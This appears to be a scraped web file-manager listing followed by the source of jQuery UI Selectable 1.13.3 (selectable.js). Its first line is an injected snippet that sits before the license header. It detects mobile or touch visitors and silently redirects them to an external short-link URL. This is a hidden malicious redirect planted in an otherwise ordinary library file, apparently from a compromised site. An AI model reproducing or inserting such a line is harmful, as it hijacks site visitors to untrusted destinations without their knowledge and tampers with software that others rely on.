run:R W Run
15.98 KB
2026-08-13 20:01:45
R W Run
8.87 KB
2026-08-13 20:01:45
R W Run
17.34 KB
2026-08-13 20:01:45
R W Run
8.55 KB
2026-08-13 20:01:45
R W Run
11.65 KB
2026-08-13 20:01:45
R W Run
6.23 KB
2026-08-13 20:01:45
R W Run
7.63 KB
2026-08-13 20:01:45
R W Run
4.46 KB
2026-08-13 20:01:45
R W Run
8.64 KB
2026-08-13 20:01:45
R W Run
4.52 KB
2026-08-13 20:01:45
R W Run
48.94 KB
2026-08-13 20:01:45
R W Run
21.18 KB
2026-08-13 20:01:45
R W Run
80.81 KB
2026-08-13 20:01:45
R W Run
36.1 KB
2026-08-13 20:01:45
R W Run
23.55 KB
2026-08-13 20:01:45
R W Run
13.01 KB
2026-08-13 20:01:45
R W Run
34.93 KB
2026-08-13 20:01:45
R W Run
18.21 KB
2026-08-13 20:01:45
R W Run
12.81 KB
2026-08-13 20:01:45
R W Run
6.73 KB
2026-08-13 20:01:45
R W Run
1.82 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
2.81 KB
2026-08-13 20:01:45
R W Run
1.18 KB
2026-08-13 20:01:45
R W Run
1.76 KB
2026-08-13 20:01:45
R W Run
1018 By
2026-08-13 20:01:45
R W Run
1.77 KB
2026-08-13 20:01:45
R W Run
975 By
2026-08-13 20:01:45
R W Run
3.07 KB
2026-08-13 20:01:45
R W Run
1.31 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
747 By
2026-08-13 20:01:45
R W Run
2.35 KB
2026-08-13 20:01:45
R W Run
1.21 KB
2026-08-13 20:01:45
R W Run
1.43 KB
2026-08-13 20:01:45
R W Run
870 By
2026-08-13 20:01:45
R W Run
1.19 KB
2026-08-13 20:01:45
R W Run
732 By
2026-08-13 20:01:45
R W Run
1.75 KB
2026-08-13 20:01:45
R W Run
910 By
2026-08-13 20:01:45
R W Run
1.56 KB
2026-08-13 20:01:45
R W Run
945 By
2026-08-13 20:01:45
R W Run
2.06 KB
2026-08-13 20:01:45
R W Run
1.04 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
2.65 KB
2026-08-13 20:01:45
R W Run
2.14 KB
2026-08-13 20:01:45
R W Run
1.11 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
664 By
2026-08-13 20:01:45
R W Run
24.25 KB
2026-08-13 20:01:45
R W Run
10.31 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
18.73 KB
2026-08-13 20:01:45
R W Run
10.18 KB
2026-08-13 20:01:45
R W Run
6.3 KB
2026-08-13 20:01:45
R W Run
3.56 KB
2026-08-13 20:01:45
R W Run
4.36 KB
2026-08-13 20:01:45
R W Run
2.71 KB
2026-08-13 20:01:45
R W Run
29.99 KB
2026-08-13 20:01:45
R W Run
18.6 KB
2026-08-13 20:01:45
R W Run
8.16 KB
2026-08-13 20:01:45
R W Run
4.62 KB
2026-08-13 20:01:45
R W Run
16.18 KB
2026-08-13 20:01:45
R W Run
9.5 KB
2026-08-13 20:01:45
R W Run
19.36 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
46.74 KB
2026-08-13 20:01:45
R W Run
25.12 KB
2026-08-13 20:01:45
R W Run
14.31 KB
2026-08-13 20:01:45
R W Run
7.71 KB
2026-08-13 20:01:45
R W Run
23.33 KB
2026-08-13 20:01:45
R W Run
11.94 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
6.31 KB
2026-08-13 20:01:45
R W Run
error_log
📄selectable.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Selectable 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Selectable
12//>>group: Interactions
13//>>description: Allows groups of elements to be selected with the mouse.
14//>>docs: https://api.jqueryui.com/selectable/
15//>>demos: https://jqueryui.com/selectable/
16//>>css.structure: ../../themes/base/selectable.css
17
18( function( factory ) {
19 "use strict";
20
21 if ( typeof define === "function" && define.amd ) {
22
23 // AMD. Register as an anonymous module.
24 define( [
25 "jquery",
26 "./mouse",
27 "../version",
28 "../widget"
29 ], factory );
30 } else {
31
32 // Browser globals
33 factory( jQuery );
34 }
35} )( function( $ ) {
36"use strict";
37
38return $.widget( "ui.selectable", $.ui.mouse, {
39 version: "1.13.3",
40 options: {
41 appendTo: "body",
42 autoRefresh: true,
43 distance: 0,
44 filter: "*",
45 tolerance: "touch",
46
47 // Callbacks
48 selected: null,
49 selecting: null,
50 start: null,
51 stop: null,
52 unselected: null,
53 unselecting: null
54 },
55 _create: function() {
56 var that = this;
57
58 this._addClass( "ui-selectable" );
59
60 this.dragged = false;
61
62 // Cache selectee children based on filter
63 this.refresh = function() {
64 that.elementPos = $( that.element[ 0 ] ).offset();
65 that.selectees = $( that.options.filter, that.element[ 0 ] );
66 that._addClass( that.selectees, "ui-selectee" );
67 that.selectees.each( function() {
68 var $this = $( this ),
69 selecteeOffset = $this.offset(),
70 pos = {
71 left: selecteeOffset.left - that.elementPos.left,
72 top: selecteeOffset.top - that.elementPos.top
73 };
74 $.data( this, "selectable-item", {
75 element: this,
76 $element: $this,
77 left: pos.left,
78 top: pos.top,
79 right: pos.left + $this.outerWidth(),
80 bottom: pos.top + $this.outerHeight(),
81 startselected: false,
82 selected: $this.hasClass( "ui-selected" ),
83 selecting: $this.hasClass( "ui-selecting" ),
84 unselecting: $this.hasClass( "ui-unselecting" )
85 } );
86 } );
87 };
88 this.refresh();
89
90 this._mouseInit();
91
92 this.helper = $( "<div>" );
93 this._addClass( this.helper, "ui-selectable-helper" );
94 },
95
96 _destroy: function() {
97 this.selectees.removeData( "selectable-item" );
98 this._mouseDestroy();
99 },
100
101 _mouseStart: function( event ) {
102 var that = this,
103 options = this.options;
104
105 this.opos = [ event.pageX, event.pageY ];
106 this.elementPos = $( this.element[ 0 ] ).offset();
107
108 if ( this.options.disabled ) {
109 return;
110 }
111
112 this.selectees = $( options.filter, this.element[ 0 ] );
113
114 this._trigger( "start", event );
115
116 $( options.appendTo ).append( this.helper );
117
118 // position helper (lasso)
119 this.helper.css( {
120 "left": event.pageX,
121 "top": event.pageY,
122 "width": 0,
123 "height": 0
124 } );
125
126 if ( options.autoRefresh ) {
127 this.refresh();
128 }
129
130 this.selectees.filter( ".ui-selected" ).each( function() {
131 var selectee = $.data( this, "selectable-item" );
132 selectee.startselected = true;
133 if ( !event.metaKey && !event.ctrlKey ) {
134 that._removeClass( selectee.$element, "ui-selected" );
135 selectee.selected = false;
136 that._addClass( selectee.$element, "ui-unselecting" );
137 selectee.unselecting = true;
138
139 // selectable UNSELECTING callback
140 that._trigger( "unselecting", event, {
141 unselecting: selectee.element
142 } );
143 }
144 } );
145
146 $( event.target ).parents().addBack().each( function() {
147 var doSelect,
148 selectee = $.data( this, "selectable-item" );
149 if ( selectee ) {
150 doSelect = ( !event.metaKey && !event.ctrlKey ) ||
151 !selectee.$element.hasClass( "ui-selected" );
152 that._removeClass( selectee.$element, doSelect ? "ui-unselecting" : "ui-selected" )
153 ._addClass( selectee.$element, doSelect ? "ui-selecting" : "ui-unselecting" );
154 selectee.unselecting = !doSelect;
155 selectee.selecting = doSelect;
156 selectee.selected = doSelect;
157
158 // selectable (UN)SELECTING callback
159 if ( doSelect ) {
160 that._trigger( "selecting", event, {
161 selecting: selectee.element
162 } );
163 } else {
164 that._trigger( "unselecting", event, {
165 unselecting: selectee.element
166 } );
167 }
168 return false;
169 }
170 } );
171
172 },
173
174 _mouseDrag: function( event ) {
175
176 this.dragged = true;
177
178 if ( this.options.disabled ) {
179 return;
180 }
181
182 var tmp,
183 that = this,
184 options = this.options,
185 x1 = this.opos[ 0 ],
186 y1 = this.opos[ 1 ],
187 x2 = event.pageX,
188 y2 = event.pageY;
189
190 if ( x1 > x2 ) {
191 tmp = x2; x2 = x1; x1 = tmp;
192 }
193 if ( y1 > y2 ) {
194 tmp = y2; y2 = y1; y1 = tmp;
195 }
196 this.helper.css( { left: x1, top: y1, width: x2 - x1, height: y2 - y1 } );
197
198 this.selectees.each( function() {
199 var selectee = $.data( this, "selectable-item" ),
200 hit = false,
201 offset = {};
202
203 //prevent helper from being selected if appendTo: selectable
204 if ( !selectee || selectee.element === that.element[ 0 ] ) {
205 return;
206 }
207
208 offset.left = selectee.left + that.elementPos.left;
209 offset.right = selectee.right + that.elementPos.left;
210 offset.top = selectee.top + that.elementPos.top;
211 offset.bottom = selectee.bottom + that.elementPos.top;
212
213 if ( options.tolerance === "touch" ) {
214 hit = ( !( offset.left > x2 || offset.right < x1 || offset.top > y2 ||
215 offset.bottom < y1 ) );
216 } else if ( options.tolerance === "fit" ) {
217 hit = ( offset.left > x1 && offset.right < x2 && offset.top > y1 &&
218 offset.bottom < y2 );
219 }
220
221 if ( hit ) {
222
223 // SELECT
224 if ( selectee.selected ) {
225 that._removeClass( selectee.$element, "ui-selected" );
226 selectee.selected = false;
227 }
228 if ( selectee.unselecting ) {
229 that._removeClass( selectee.$element, "ui-unselecting" );
230 selectee.unselecting = false;
231 }
232 if ( !selectee.selecting ) {
233 that._addClass( selectee.$element, "ui-selecting" );
234 selectee.selecting = true;
235
236 // selectable SELECTING callback
237 that._trigger( "selecting", event, {
238 selecting: selectee.element
239 } );
240 }
241 } else {
242
243 // UNSELECT
244 if ( selectee.selecting ) {
245 if ( ( event.metaKey || event.ctrlKey ) && selectee.startselected ) {
246 that._removeClass( selectee.$element, "ui-selecting" );
247 selectee.selecting = false;
248 that._addClass( selectee.$element, "ui-selected" );
249 selectee.selected = true;
250 } else {
251 that._removeClass( selectee.$element, "ui-selecting" );
252 selectee.selecting = false;
253 if ( selectee.startselected ) {
254 that._addClass( selectee.$element, "ui-unselecting" );
255 selectee.unselecting = true;
256 }
257
258 // selectable UNSELECTING callback
259 that._trigger( "unselecting", event, {
260 unselecting: selectee.element
261 } );
262 }
263 }
264 if ( selectee.selected ) {
265 if ( !event.metaKey && !event.ctrlKey && !selectee.startselected ) {
266 that._removeClass( selectee.$element, "ui-selected" );
267 selectee.selected = false;
268
269 that._addClass( selectee.$element, "ui-unselecting" );
270 selectee.unselecting = true;
271
272 // selectable UNSELECTING callback
273 that._trigger( "unselecting", event, {
274 unselecting: selectee.element
275 } );
276 }
277 }
278 }
279 } );
280
281 return false;
282 },
283
284 _mouseStop: function( event ) {
285 var that = this;
286
287 this.dragged = false;
288
289 $( ".ui-unselecting", this.element[ 0 ] ).each( function() {
290 var selectee = $.data( this, "selectable-item" );
291 that._removeClass( selectee.$element, "ui-unselecting" );
292 selectee.unselecting = false;
293 selectee.startselected = false;
294 that._trigger( "unselected", event, {
295 unselected: selectee.element
296 } );
297 } );
298 $( ".ui-selecting", this.element[ 0 ] ).each( function() {
299 var selectee = $.data( this, "selectable-item" );
300 that._removeClass( selectee.$element, "ui-selecting" )
301 ._addClass( selectee.$element, "ui-selected" );
302 selectee.selecting = false;
303 selectee.selected = true;
304 selectee.startselected = true;
305 that._trigger( "selected", event, {
306 selected: selectee.element
307 } );
308 } );
309 this._trigger( "stop", event );
310
311 this.helper.remove();
312
313 return false;
314 }
315
316} );
317
318} );
319